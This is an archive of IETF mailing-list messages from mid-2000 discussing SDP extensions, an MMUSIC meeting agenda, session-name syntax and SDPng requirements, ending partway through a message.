Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA10857
	for confctrl-outgoing; Mon, 24 Jul 2000 05:05:52 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA10852
	for <confctrl@zephyr.isi.edu>; Mon, 24 Jul 2000 05:05:51 -0700 (PDT)
Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id FAA19585
	for <confctrl@isi.edu>; Mon, 24 Jul 2000 05:06:38 -0700 (PDT)
Received: from zcard015.ca.nortel.com (actually zcard015) 
          by smtprch1.nortel.com; Mon, 24 Jul 2000 06:56:58 -0500
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2652.35) 
          id <PJTQ32SK>; Mon, 24 Jul 2000 08:00:30 -0400
Message-ID: <E76AD24CD969D21197370000F81A45C10145DE8C@zrtpd00z.us.nortel.com>
From: "Sophia Scoggins" <scoggins@nortelnetworks.com>
To: "'Rajesh Kumar'" <rkumar@cisco.com>
Cc: confctrl@ISI.EDU, atmsdp@eng.fore.com, msf-media@msforum.org
Subject: Adding attribute for Caching or not
Date: Mon, 24 Jul 2000 08:00:28 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BFF566.C241BA60"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFF566.C241BA60
Content-Type: text/plain;
	charset="iso-8859-1"

Rajesh,
 
 
Caching is a valid way of reusing the VCs, rather than using the signaling
system to setup VCs for each call, to increase performance. However, both
MGs must agree upon caching to make it valid. Currently, there is no
parameter in the ATM SDP allow this parameter setting. Please add the
parameter
 
a=cache:on/off   
 
on/off meaning 'cache' is either set ON or OFF.
 
 
Regards, Sophia

------_=_NextPart_001_01BFF566.C241BA60
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.3018.900" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT size=2><SPAN class=174165711-24072000>Rajesh,</SPAN></FONT></DIV>
<DIV><FONT size=2><SPAN class=174165711-24072000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT size=2><SPAN class=174165711-24072000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT size=2><SPAN class=174165711-24072000>Caching is a valid way of 
reusing the VCs, rather than using the signaling system to setup VCs for each 
call, to increase performance. However, both MGs must agree upon caching to make 
it valid. Currently, there is no parameter in the ATM SDP allow this parameter 
setting. Please add the parameter</SPAN></FONT></DIV>
<DIV><FONT size=2><SPAN class=174165711-24072000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT size=2><SPAN class=174165711-24072000>a=cache:on/off&nbsp;&nbsp; 
</SPAN></FONT></DIV>
<DIV><FONT size=2><SPAN class=174165711-24072000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT size=2><SPAN class=174165711-24072000>on/off meaning 'cache' is 
either set ON or OFF.</SPAN></FONT></DIV>
<DIV><FONT size=2><SPAN class=174165711-24072000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT size=2><SPAN class=174165711-24072000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT size=2><SPAN class=174165711-24072000>Regards, 
Sophia</SPAN></FONT></DIV></BODY></HTML>

------_=_NextPart_001_01BFF566.C241BA60--

From confctrl-owner  Mon Jul 24 11:08:53 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA17244
	for confctrl-outgoing; Mon, 24 Jul 2000 11:08:53 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA17239
	for <confctrl@zephyr.isi.edu>; Mon, 24 Jul 2000 11:08:52 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id LAA09901
	for <confctrl@isi.edu>; Mon, 24 Jul 2000 11:09:39 -0700 (PDT)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id e6OI9ix12644;
	Mon, 24 Jul 2000 20:09:44 +0200 (MET DST)
Message-Id: <200007241809.e6OI9ix12644@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Mon, 24 Jul 2000 20:08:40 +0200
To: agenda@ietf.org, confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Agenda for MMUSIC in Pittsburgh
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

please find attached a draft agenda for the MMUSIC WG in Pittsburgh.

Those who have asked for a slot, are not on the agenda, and have not
yet received a private reply, please contact me again.

Slight changes are likely to occur since two slot requests are still
pending.

Joerg



Tentative MMUSIC Agenda (48th IETF)
===================================


Monday, 31 July (19:30-22:00)
-----------------------------

Agenda Bashing (Joerg Ott, 5)

WG Status Update (Joerg Ott, 5)

Mbus Update (Dirk Kutscher, 15)
        draft-ietf-mmusic-mbus-transport-02.txt

Report from the RTSP Bakeoff (Ron Frederick, 30)

RTSP Extensions (Sean Sheedy, 15)
	draft-sheedy-mmusic-rtsp-ext-01.txt

[...]


Wednesday, 2 August (15:30-17:30)
---------------------------------

SDP Extentions for ATM (Rajesh Kumar, 45)
	draft-rajeshkumar-mmusic-sdp-atm-02.txt

SDP Media Alignment in SIP (Gonzalo Camarillo, 15)
	draft-camarillo-sip-sdp-00.txt

SIP for xcast-based Multiparty Conferences (Bart van Doorselaer, 10)
	draft-van-doorselaer-sip-xcast-00.txt  

SDPng -- Requirements (Dirk Kutscher, 20)
	draft-kutscher-mmusic-sdpbg-req-00.txt

SDPng -- Discussion and Next Steps (30)







From confctrl-owner  Mon Jul 31 16:40:04 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id QAA02264
	for confctrl-outgoing; Mon, 31 Jul 2000 16:40:04 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id QAA02259
	for <confctrl@zephyr.isi.edu>; Mon, 31 Jul 2000 16:40:03 -0700 (PDT)
Received: from hotmail.com (law2-f170.hotmail.com [216.32.181.170])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id QAA03098
	for <confctrl@isi.edu>; Mon, 31 Jul 2000 16:41:05 -0700 (PDT)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 31 Jul 2000 16:40:34 -0700
Received: from 209.244.1.161 by lw2fd.hotmail.msn.com with HTTP;	Mon, 31 Jul 2000  GMT
X-Originating-IP: [209.244.1.161]
From: "rao v" <rao_1@hotmail.com>
To: confctrl@ISI.EDU
Subject: Question about SDP session name
Date: Mon, 31 Jul 2000 19:40:34 EDT
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <LAW2-F170oD6swNsRNe00002b3b@hotmail.com>
X-OriginalArrivalTime: 31 Jul 2000 23:40:34.0996 (UTC) FILETIME=[B9047F40:01BFFB48]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello.

I have just started with SDP and I have a question regarding the SDP session 
name. RFC 2327 states that the session name (the 's=' line)  is mandatory, 
however, it is not very clear to me if it is syntactically correct to have 
an 's=' line without actually specifying a session name, i.e. 's=' followed 
by CRLF, as in:

        v=0
        o=mhandley 2890844526 2890842807 IN IP4 126.16.64.4
        s=
        i=A Seminar on the session description protocol
        u=http://www.cs.ucl.ac.uk/staff/M.Handley/sdp.03.ps
        e=mjh@isi.edu (Mark Handley)
        c=IN IP4 224.2.17.12/127
        t=2873397496 2873404696
        a=recvonly
        m=audio 49170 RTP/AVP 0
        m=video 51372 RTP/AVP 31
        m=application 32416 udp wb
        a=orient:portrait

Clarification that anyone provides will be appreciated.
Thanks a lot!

Rao V.
________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com


From confctrl-owner  Tue Aug  1 08:13:22 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA20582
	for confctrl-outgoing; Tue, 1 Aug 2000 08:13:22 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA20577
	for <confctrl@zephyr.isi.edu>; Tue, 1 Aug 2000 08:13:20 -0700 (PDT)
Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id IAA28061
	for <confctrl@ISI.EDU>; Tue, 1 Aug 2000 08:14:06 -0700 (PDT)
Received: from dickmann (wireless-134-80.ietf.marconi.com [147.73.134.80])
	by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id LAA03409;
	Tue, 1 Aug 2000 11:18:33 -0400 (EDT)
To: "rao v" <rao_1@hotmail.com>
Cc: confctrl@ISI.EDU
Subject: Re: Question about SDP session name
References: <LAW2-F170oD6swNsRNe00002b3b@hotmail.com>
From: Dirk Kutscher <dku@tzi.org>
Date: 01 Aug 2000 17:14:55 +0200
In-Reply-To: "rao v"'s message of "Mon, 31 Jul 2000 19:40:34 EDT"
Message-ID: <m3punt2ets.fsf@duennmann.tzi.org>
Lines: 36
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>>>> "Rao" == rao v <rao_1@hotmail.com> writes:

    Rao> Hello.
    Rao> I have just started with SDP and I have a question regarding the SDP session 
    Rao> name. RFC 2327 states that the session name (the 's=' line)  is mandatory, 
    Rao> however, it is not very clear to me if it is syntactically correct to have 
    Rao> an 's=' line without actually specifying a session name, i.e. 's=' followed 
    Rao> by CRLF, as in:

    Rao>         v=0
    Rao>         o=mhandley 2890844526 2890842807 IN IP4 126.16.64.4
    Rao>         s=
    Rao>         i=A Seminar on the session description protocol
    Rao>         u=http://www.cs.ucl.ac.uk/staff/M.Handley/sdp.03.ps
    Rao>         e=mjh@isi.edu (Mark Handley)
    Rao>         c=IN IP4 224.2.17.12/127
    Rao>         t=2873397496 2873404696
    Rao>         a=recvonly
    Rao>         m=audio 49170 RTP/AVP 0
    Rao>         m=video 51372 RTP/AVP 31
    Rao>         m=application 32416 udp wb
    Rao>         a=orient:portrait


No, RFC 2327 mandates that the session-name field contain at least one
character.

This issue has been discussed before -- RFC 2543 (SIP) allowed the
session-name in a SDP-content to be empty for invitations to two-party
sessions. draft-ietf-sip-rfc2543bis-00.txt has been corrected to that
respect. If you do not want to specify a session name (because the
corresponding information is provided by other means), the best
current practice would be to use a space character.

-- 
	Dirk


From confctrl-owner  Wed Aug  2 19:25:08 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA16385
	for confctrl-outgoing; Wed, 2 Aug 2000 17:49:48 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA16379
	for <confctrl@zephyr.isi.edu>; Wed, 2 Aug 2000 17:49:45 -0700 (PDT)
Received: from alemail1.firewall.lucent.com (alemail1.lucent.com [192.11.221.161])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id RAA28215
	for <confctrl@ISI.EDU>; Wed, 2 Aug 2000 17:50:47 -0700 (PDT)
Received: from alemail1.firewall.lucent.com (localhost [127.0.0.1])
	by alemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id UAA20658
	for <confctrl@ISI.EDU>; Wed, 2 Aug 2000 20:50:46 -0400 (EDT)
Received: from hzsgg01.nl.lucent.com (h135-85-32-33.lucent.com [135.85.32.33])
	by alemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with SMTP id UAA20644
	for <confctrl@ISI.EDU>; Wed, 2 Aug 2000 20:50:45 -0400 (EDT)
Received: from lucent.com (sijben.lra.lucent.com) by hzsgg01.nl.lucent.com (4.1/SMI-4.1)
	id AA14823; Thu, 3 Aug 00 02:50:42 +0200
Message-Id: <39887B17.4C5D9498@lucent.com>
Date: Wed, 02 Aug 2000 21:48:39 +0200
From: Paul Sijben <sijben@lucent.com>
Organization: Lucent technologies, The Netherlands
X-Mailer: Mozilla 4.73 [en] (WinNT; U)
X-Accept-Language: en
Mime-Version: 1.0
To: confctrl@ISI.EDU
Subject: TIPHON SDP presentation uploaded
References: <200007241809.e6OI9ix12644@bettina.informatik.uni-bremen.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I have uploaded the presentation I have presented at the MMUSIC WG meeting.
You can find it at:
   http://pages.hotbot.com/edu/sijben/

Paul
-- 
Paul Sijben              Tel:+31 356874774 
Lucent Technologies      Message:+31 208702874			
Forward Looking Work     Fax: +31 208702874
Huizen, The Netherlands  http://voip.nl.lucent.com/~sijben (internal)



From confctrl-owner  Wed Aug  2 20:41:02 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA22706
	for confctrl-outgoing; Wed, 2 Aug 2000 20:41:02 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA22701
	for <confctrl@zephyr.isi.edu>; Wed, 2 Aug 2000 20:41:01 -0700 (PDT)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id UAA18621
	for <confctrl@isi.edu>; Wed, 2 Aug 2000 20:42:03 -0700 (PDT)
Received: from dynamicsoft.com (1Cust35.tnt2.pittsburgh.pa.da.uu.net [63.10.63.35])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA22624;
	Wed, 2 Aug 2000 23:43:34 -0400 (EDT)
Message-ID: <3988EB2E.E8664633@dynamicsoft.com>
Date: Wed, 02 Aug 2000 23:46:54 -0400
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU, sip <sip@lists.bell-labs.com>
Subject: [Fwd: notes from the IETF SIP & SDP]
Content-Type: multipart/mixed;
 boundary="------------10522D26E6691BDA8F954DE9"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------10522D26E6691BDA8F954DE9
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


-- 
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com
--------------10522D26E6691BDA8F954DE9
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from wodc7mr4.ffx.ops.us.uu.net by wodc7ps1.ffx.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wodc7mr4.ffx.ops.us.uu.net [192.48.96.29])
	id QQjaos16657
	for <mail183751@vpop0-alterdial.uu.net>; Thu, 3 Aug 2000 01:39:56 GMT
Received: from list.etsi.fr by wodc7mr4.ffx.ops.us.uu.net with ESMTP 
	(peer crosschecked as: list.etsi.fr [212.234.161.19])
	id QQjaos17440
	for <jdrosen@DYNAMICSOFT.COM>; Thu, 3 Aug 2000 01:39:56 GMT
Received: from list (list.etsi.fr) by list.etsi.fr (LSMTP for Windows NT v1.1b) with SMTP id <0.000DCBF4@list.etsi.fr>; Thu, 3 Aug 2000 2:38:20 +0100
Received: from LIST.ETSI.FR by LIST.ETSI.FR (LISTSERV-TCP/IP release 1.8d) with
          spool id 2219259 for TIPHON@LIST.ETSI.FR; Thu, 3 Aug 2000 01:50:04
          +0100
Received: from delta.etsi.fr by list.etsi.fr (LSMTP for Windows NT v1.1b) with
          SMTP id <0.000DCBD1@list.etsi.fr>; Thu, 3 Aug 2000 1:50:03 +0100
Received: FROM ihemail2.firewall.lucent.com BY delta.etsi.fr ; Thu Aug 03
          01:51:03 2000 +0100
Received: from ihemail2.firewall.lucent.com (localhost [127.0.0.1]) by
          ihemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id UAA28843
          for <TIPHON@LIST.ETSI.FR>; Wed, 2 Aug 2000 20:50:58 -0400 (EDT)
Received: from hzsgg01.nl.lucent.com (h135-85-32-33.lucent.com [135.85.32.33])
          by ihemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with SMTP id
          UAA28816 for <TIPHON@LIST.ETSI.FR>; Wed, 2 Aug 2000 20:50:54 -0400
          (EDT)
Received: from lucent.com (sijben.lra.lucent.com) by hzsgg01.nl.lucent.com
          (4.1/SMI-4.1) id AA14829; Thu, 3 Aug 00 02:50:51 +0200
X-Mailer: Mozilla 4.73 [en] (WinNT; U)
X-Accept-Language: en
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <3988C1C9.F9706C3A@lucent.com>
Date:         Thu, 3 Aug 2000 02:50:17 +0200
Reply-To: Paul Sijben <sijben@LUCENT.COM>
Sender: "TIPHON : interoperabillity of VoIP/ISDN/PSTN."              <TIPHON@LIST.ETSI.FR>
From: Paul Sijben <sijben@LUCENT.COM>
Organization: Lucent technologies, The Netherlands
Subject:      notes from the IETF SIP & SDP
To: TIPHON@LIST.ETSI.FR
X-Mozilla-Status2: 00000000

I have presented the TIPHON architecture and QoS work at a fairly high-level
way to the SIP working group and the MMUSIC WG.

Both presentations can be found at:
  http://pages.hotbot.com/edu/sijben/

The SIP presentation resulted in no feedback during the meeting but some
positive feedback off-line.

The SDP presentation did go very bad. I got shot down (by Jonathan Rosenberg,
Henning Shulzerinne, Christian Huitema and others.) over the basic premise
that signaling is related to the media so that the signaling path can say
sensible things about the QoS.
This was deemed against the philosophy of the Internet. Quote: "No internet I
have seen works like this". It was claimed that the opposite is true because
the signaling and the media go over completely different paths.

The attackers seemed to see in the presentation that TIPHON wants to do a
link-by-link replacement of the switched networks... Saying that this is not
the case had no effect.

A reply along the lines of that QoS implies commercial relationships and than
media gateways impact QoS and are controlled by the applications and hence
that the applications have impact on QoS did also not sway the die-hards.
(Someone actually claimed that the MG is not controlled by the application
domain ?????)

After the session was over someone working on MPEG-4 said that he heard
something else in my presentation namely exactly what they are have been
doing! So I pointed him to our documents because he described the same method
we have been exploring in WG5 but they need the parameter values. I told him
to look at 5003 and 5009. So the session was not a complete loss and we are
not the only ones looking at this.

Paul
--
Paul Sijben              Tel:+31 356874774
Lucent Technologies      Message:+31 208702874
Forward Looking Work     Fax: +31 208702874
Huizen, The Netherlands  http://voip.nl.lucent.com/~sijben (internal)

-------------------------------------------------------------------
Mail archive for TIPHON  can be browsed at the following url :

             http://www.etsi.org/TIPHON/mailing_lists.htm
-------------------------------------------------------------------


--------------10522D26E6691BDA8F954DE9--


From confctrl-owner  Thu Aug  3 03:44:55 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA09566
	for confctrl-outgoing; Thu, 3 Aug 2000 03:44:55 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA09561
	for <confctrl@zephyr.isi.edu>; Thu, 3 Aug 2000 03:44:52 -0700 (PDT)
Received: from qhars002.nortel.com (qhars002.NortelNetworks.com [192.100.101.19])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id DAA13469
	for <confctrl@isi.edu>; Thu, 3 Aug 2000 03:45:55 -0700 (PDT)
Received: from zhard00m.europe.nortel.com (actually zhard00m) 
          by qhars002.nortel.com; Thu, 3 Aug 2000 11:33:32 +0100
Received: by zhard00m.europe.nortel.com 
          with Internet Mail Service (5.5.2652.35) id <PWJGDC6Z>;
          Thu, 3 Aug 2000 11:33:31 +0100
Message-ID: <61ABD11436FED21192440000F81F3E3602BE68D0@nwcwi1a.europe.nortel.com>
From: "Michael O'Doherty" <mdoherty@nortelnetworks.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>, confctrl@ISI.EDU,
        sip <sip@lists.bell-labs.com>
Subject: RE: [SIP] [Fwd: notes from the IETF SIP & SDP]
Date: Thu, 3 Aug 2000 11:33:28 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BFFD36.42F3D2C0"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFFD36.42F3D2C0
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,

Can someone explain for those of us that were not there, what at a high
level were the controversial parts of the TIPHON WG SDP presentation and
what the basic objections to the proposal were. I didn't really get a proper
feel for the issue from the slides or the forwarded email.

Thx,

Mick O'Doherty
Nortel Networks.

-----Original Message-----
From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com]
Sent: 03 August 2000 04:47
To: confctrl@isi.edu; sip
Subject: [SIP] [Fwd: notes from the IETF SIP & SDP]



-- 
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

------_=_NextPart_001_01BFFD36.42F3D2C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: [SIP] [Fwd: notes from the IETF SIP &amp; SDP]</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Hi,</FONT>
</P>

<P><FONT SIZE=3D2>Can someone explain for those of us that were not =
there, what at a high level were the controversial parts of the TIPHON =
WG SDP presentation and what the basic objections to the proposal were. =
I didn't really get a proper feel for the issue from the slides or the =
forwarded email.</FONT></P>

<P><FONT SIZE=3D2>Thx,</FONT>
</P>

<P><FONT SIZE=3D2>Mick O'Doherty</FONT>
<BR><FONT SIZE=3D2>Nortel Networks.</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Jonathan Rosenberg [<A =
HREF=3D"mailto:jdrosen@dynamicsoft.com">mailto:jdrosen@dynamicsoft.com</=
A>]</FONT>
<BR><FONT SIZE=3D2>Sent: 03 August 2000 04:47</FONT>
<BR><FONT SIZE=3D2>To: confctrl@isi.edu; sip</FONT>
<BR><FONT SIZE=3D2>Subject: [SIP] [Fwd: notes from the IETF SIP &amp; =
SDP]</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Jonathan D. =
Rosenberg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
72 Eagle Rock Ave.</FONT>
<BR><FONT SIZE=3D2>Chief =
Scientist&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; First Floor</FONT>
<BR><FONT =
SIZE=3D2>dynamicsoft&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
East Hanover, NJ 07936</FONT>
<BR><FONT =
SIZE=3D2>jdrosen@dynamicsoft.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp; FAX:&nbsp;&nbsp; (973) 952-5050</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://www.cs.columbia.edu/~jdrosen" =
TARGET=3D"_blank">http://www.cs.columbia.edu/~jdrosen</A>&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PHONE: (732) 741-7244</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://www.dynamicsoft.com" =
TARGET=3D"_blank">http://www.dynamicsoft.com</A></FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BFFD36.42F3D2C0--

From confctrl-owner  Thu Aug  3 13:39:53 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA09501
	for confctrl-outgoing; Thu, 3 Aug 2000 13:39:53 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA09496
	for <confctrl@zephyr.isi.edu>; Thu, 3 Aug 2000 13:39:52 -0700 (PDT)
Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id NAA23621
	for <confctrl@ISI.EDU>; Thu, 3 Aug 2000 13:40:55 -0700 (PDT)
Received: from localhost.localdomain (wireless-135-215.ietf.marconi.com [147.73.135.215])
	by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id QAA09914
	for <confctrl@ISI.EDU>; Thu, 3 Aug 2000 16:45:06 -0400 (EDT)
To: confctrl@ISI.EDU
Subject: IETF-48 SDPng requirements presentation slides
From: Dirk Kutscher <dku@tzi.org>
Date: 03 Aug 2000 22:41:50 +0200
Message-ID: <m3d7jqm60h.fsf@localhost.localdomain>
Lines: 5
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.7
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


http://www.dmn.tzi.org/ietf/mmusic/sdp-ng/ietf48/

-- 
	Dirk


From confctrl-owner  Thu Aug  3 14:56:34 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA13503
	for confctrl-outgoing; Thu, 3 Aug 2000 14:56:34 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA13491
	for <confctrl@zephyr.isi.edu>; Thu, 3 Aug 2000 14:56:32 -0700 (PDT)
Received: from proxy2.ba.best.com (root@proxy2.ba.best.com [206.184.139.14])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id OAA04837
	for <confctrl@ISI.EDU>; Thu, 3 Aug 2000 14:57:35 -0700 (PDT)
Received: from kaipara.live.com (wireless-133-22.ietf.marconi.com [147.73.133.22])
	by proxy2.ba.best.com (8.9.3/8.9.2/best.out) with ESMTP id OAA04671
	for <confctrl@ISI.EDU>; Thu, 3 Aug 2000 14:55:45 -0700 (PDT)
Message-Id: <4.3.1.1.20000803143322.00baecd0@localhost>
X-Sender: rsf@localhost
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Thu, 03 Aug 2000 14:52:52 -0700
To: confctrl@ISI.EDU
From: Ross Finlayson <finlayson@live.com>
Subject: Re: IETF-48 SDPng requirements presentation slides
In-Reply-To: <m3d7jqm60h.fsf@localhost.localdomain>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I have a couple of additional requirements for SDPng (that I didn't see on 
Dirk's notes, but which I don't think are incompatible with anything that 
he (or anyone else) said at the WG meeting yesterday).

1/ I would like the ability to specify *arbitrary* attribute-value pairs 
within a session (or subsession) description - not just a predefined, fixed 
set of attribute names.  (I don't mind if these 'application-specific' 
attribute names have to be preceded by something like "X-", or use some 
other indication that they're part of a new namespace.)

